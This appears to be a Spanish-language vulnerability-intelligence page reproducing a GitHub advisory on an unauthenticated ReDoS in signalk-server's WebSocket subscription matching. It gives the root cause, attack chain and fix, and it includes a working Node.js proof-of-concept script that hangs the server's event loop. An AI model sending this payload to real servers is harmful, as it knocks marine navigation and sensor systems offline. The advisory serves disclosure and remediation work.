llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · signalk-server

GHSA-QF2W-MM2P-JMG9

Signal K Server: ReDoS sin autenticación mediante comodines encadenados en la coincidencia de context/path de suscripciones WebSocket

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -14 d de la divulgación
Exposición14 dDesde la divulgación, 7 nov 2026, 2:15 a. m.
Detección13 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Huele a "ya lo veré". No la dejes así.Más vale un parche a tiempo que un incidente de madrugada.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.35.0
Monitoreo
Detectada +1
24 oct 26
7 nov 26
20 nov 26
21 nov 26
24 oct 26
31 oct 26
7 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.35.0 signalk-server · -14 d desde divulgación
Divulgación Publicada GHSA-QF2W-MM2P-JMG9 divulgada · CVSS 7.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Resumen

Signal K Server compila los campos `context` y `path` proporcionados por el usuario en una suscripción de flujo WebSocket como una expresión regular, sin limitar la complejidad que introduce su propia conversión de comodines a regex. En `src/subscriptionmanager.ts`, las funciones `contextMatcher()` y `pathMatcher()` convierten cada `*` de la entrada del cliente en `.*`. Un valor de suscripción que contiene muchos comodines separados por un carácter literal (por ejemplo `*a*a*a...`) se convierte en una expresión regular de la forma `^.*a.*a.*a...$`, un patrón clásico de retroceso catastrófico (catastrophic backtracking). Un cliente no autenticado puede registrar una suscripción así a través del endpoint predeterminado `/signalk/v1/stream` y luego enviar un delta cuyo `context` está diseñado para que el motor no logre la coincidencia, bloqueando el único event loop de Node.js durante segundos o minutos y denegando el servicio a todos los demás clientes y APIs.

Causa raíz

La corrección de CVE-2026-39320 añadió el escapado de metacaracteres a ambas funciones de coincidencia para que los operadores de regex inyectados, como `+`, `(`, `)`, `?`, `[` y `]`, se traten literalmente. Ese escapado no escapa ni puede escapar `*`, porque `*` es el token de comodín previsto que la función reescribe deliberadamente como `.*`. No se establece ningún límite de cuántos comodines puede contener una entrada, por lo que el atacante controla cuántos grupos `.*` aparecen en el patrón compilado. Varios grupos `.*` adyacentes anclados en ambos extremos producen retroceso exponencial en el motor de expresiones regulares basado en backtracking de V8 cuando la cadena de entrada no coincide. Como el atacante también controla la cadena de entrada (el `context` del delta que inyecta), puede garantizar un caso no coincidente en el peor escenario.

// src/subscriptionmanager.ts (contextMatcher, líneas 619-623; pathMatcher, líneas 534-537)
const pattern = subscribeCommand.context
  .replace(/[\\^$+?()[\]{}|]/g, '\\$&') // escapes metacharacters, but not '*'
  .replace(/\./g, '\\.')
  .replace(/\*/g, '.*')                 // every '*' becomes an unbounded '.*' group
const matcher = new RegExp('^' + pattern + '$')

Impacto

Una sola conexión WebSocket no autenticada puede dejar el servidor permanentemente bloqueado. Signal K Server se ejecuta en un event loop de Node.js de un solo hilo, por lo que, una vez que `matcher.test()` entra en retroceso catastrófico, la API REST, todos los demás clientes WebSocket, la ingesta de deltas, las operaciones de plugins y la agregación de sensores dejan de responder hasta que la coincidencia termina. Medido en una estación de trabajo de desarrollo (Node.js v24), un patrón de 30 comodines encadenados contra un sujeto de 40 caracteres diseñado bloqueó el event loop durante unos 196 segundos; el tiempo de backtracking crece exponencialmente con el número de comodines, por lo que una entrada ligeramente más larga bloquea el proceso de forma efectivamente indefinida. En el objetivo de despliegue documentado, Raspberry Pi, las mismas entradas bloquean durante un tiempo considerablemente mayor. En la configuración predeterminada, la estrategia de seguridad dummy autoriza tanto la suscripción como la escritura del delta desencadenante sin credenciales, por lo que no se requiere autenticación. En despliegues protegidos con token, cualquier cliente con acceso de lectura puede compilar el patrón, y cualquier cliente con acceso de escritura puede suministrar el desencadenante.

Prueba de concepto

Dependencias: Node.js y el paquete `ws` (npm install ws).
Objetivo: una instancia predeterminada de Signal K Server accesible en ws://HOST:3000.
  1. Abrir un WebSocket a `ws://HOST:3000/signalk/v1/stream?subscribe=none`.
  2. Enviar una suscripción cuyo `context` encadene muchos comodines alrededor de un carácter literal.
  3. Enviar un delta cuyo `context` sea una secuencia larga de ese carácter literal que termine en un carácter no coincidente, forzando a la regex compilada a retroceder.
  4. Observar que las siguientes solicitudes HTTP y WebSocket al servidor agotan el tiempo de espera mientras el event loop está bloqueado.
const WebSocket = require('ws')
const ws = new WebSocket('ws://localhost:3000/signalk/v1/stream?subscribe=none')

ws.on('open', () => {
  // Register a subscription whose context compiles to ^.*a.*a...$
  ws.send(JSON.stringify({
    context: '*a'.repeat(30),
    subscribe: [{ path: '*' }]
  }))
  // Trigger the match with an attacker-chosen, non-matching delta context
  ws.send(JSON.stringify({
    context: 'a'.repeat(40) + '!',
    updates: [{ values: [{ path: 'navigation.speedOverGround', value: 0 }] }]
  }))
})
# Reproducción aislada del backtracking del patrón compilado (Node.js v24):
# patrón construido exactamente como lo construye src/subscriptionmanager.ts a partir de la entrada anterior
repeticiones de comodín  sujeto                 tiempo de matcher.test()
30                        'a'*40 + '!'            ~196000 ms (event loop bloqueado)
# El crecimiento es exponencial (~3x por cada 5 repeticiones adicionales de comodín).

Cadena de ataque

  1. Exposición: La interfaz WebSocket integrada está registrada en `src/interfaces/index.ts` y se inicia incondicionalmente durante el arranque (`src/interfaces/ws.ts:449-459`), escuchando en `/signalk/v1/stream`. En la configuración predeterminada, `canAuthorizeWS()` devuelve false (`src/dummysecurity.ts`), por lo que un cliente no autenticado puede conectarse.
  2. Control: El cliente envía un mensaje JSON que se analiza sin validación de esquema ni de longitud (`src/interfaces/ws.ts:588-591`). El atacante controla por completo los campos `context` y `path` de la suscripción y, después, el `context` de un delta inyectado.
  3. Ruta: Un mensaje `subscribe` se enruta a través de `processSubscribe()` (`src/interfaces/ws.ts:607-608,1093-1134`), que solo restringe las suscripciones `log` a un control de administrador; las suscripciones ordinarias llegan a `app.subscriptionmanager.subscribe()` y luego a `contextMatcher()` (`src/subscriptionmanager.ts:122,610`).
  4. Protección: La protección de escapado de metacaracteres en `src/subscriptionmanager.ts:620` no restringe el comodín `*` que reescribe como `.*`, y no se aplica ningún límite de complejidad o longitud antes de `new RegExp()` en la línea 623. Por tanto, la protección no existe para este tipo de entrada.
  5. Primitiva: La suscripción diseñada se compila en `^.*a.*a...$`. Un mensaje `updates` posterior supera la verificación de escritura predeterminada `shouldAllowWrite()` (`src/interfaces/ws.ts:952`, `src/dummysecurity.ts:70-72`), es ingerido mediante `app.handleMessage()` (línea 960) y se prueba contra el patrón en `src/subscriptionmanager.ts:625`.
  6. Resultado: `matcher.test()` entra en retroceso catastrófico y bloquea el único event loop de Node.js, denegando el servicio a todos los demás clientes, a la API REST y a todo el procesamiento de deltas hasta que la coincidencia termina.

Evidencia de elusión

La protección relevante es la corrección de escapado de metacaracteres de CVE-2026-39320 (commit `215d81eb`, publicada en v2.25.0), que está presente en el código fuente v2.34.0 examinado, en `src/subscriptionmanager.ts:620` y `:535`. El desafío más importante fue confirmar si ese escapado neutraliza esta entrada: aplicar el primer reemplazo exacto a `*a*a*a` lo deja sin cambios, porque ni `*` ni `a` están en la clase escapada `[\\^$+?()[\]{}|]`. Luego, `*` se convierte en `.*` en la línea 622, produciendo el patrón con retroceso. La corrección anterior solo aborda la inyección de metacaracteres (el vector `([a-z0-9:-]+)+!` del seed) y deja sin protección la complejidad impulsada por comodines, por lo que esta entrada no queda bloqueada. Los intentos de refutar el hallazgo (buscar un límite de longitud, validación de esquema o limitación de tasa en el `context` de la suscripción, y comprobar si los deltas de sensores legítimos podían evitar el problema) no lograron impedir el ataque: no existen tales límites, y el delta desencadenante controlado por el atacante produce de forma fiable el peor caso no coincidente.

Versiones afectadas

  • Ecosistema: `npm`
  • Paquete: `signalk-server`
  • Rango afectado confirmado: `<= 2.34.0`
  • Última versión revisada: `2.34.0` (registro de npm https://www.npmjs.com/package/signalk-server/v/2.34.0)
  • Estado de la corrección: no corregida

La conversión de comodines a regex y la ausencia de cualquier límite de complejidad están presentes en la última versión publicada (v2.34.0). La corrección de CVE-2026-39320 en v2.25.0 no abordó este tipo de entrada, y ninguna versión posterior limita la complejidad de la regex generada a partir de comodines, por lo que todas las versiones publicadas actualmente están afectadas.

Corrección sugerida

Establecer un límite a la complejidad que la entrada de comodines proporcionada por el usuario puede introducir antes de compilar una expresión regular. En lugar de convertir cada `*` en un `.*` sin límites, rechazar o limitar las entradas que contengan un número excesivo de comodines, o traducir el glob a un matcher equivalente de tiempo lineal (por ejemplo, un matcher sin backtracking o un recorrido carácter por carácter) que no pueda retroceder de forma exponencial. Aplicar el mismo límite a `contextMatcher()` y a `pathMatcher()`, y cubrir tanto el valor de la suscripción como cualquier campo que se compile en un `RegExp`. Como mitigación provisional, los operadores pueden colocar el servidor detrás de autenticación para que solo los clientes de confianza puedan abrir suscripciones, aunque esto no protege frente a un cliente autenticado y no elimina el defecto de complejidad subyacente.

---

Reportado por zx.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
signalk-server≤ 2.34.0
2.34.0
2.37.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmsignalk-server
Corregida 2.35.0 -14 d 2.37.0 no afectada
Versiones corregidas2.35.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/SignalK/signalk-server/security/advisories/GHSA-qf2w-mm2p-jmg9

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.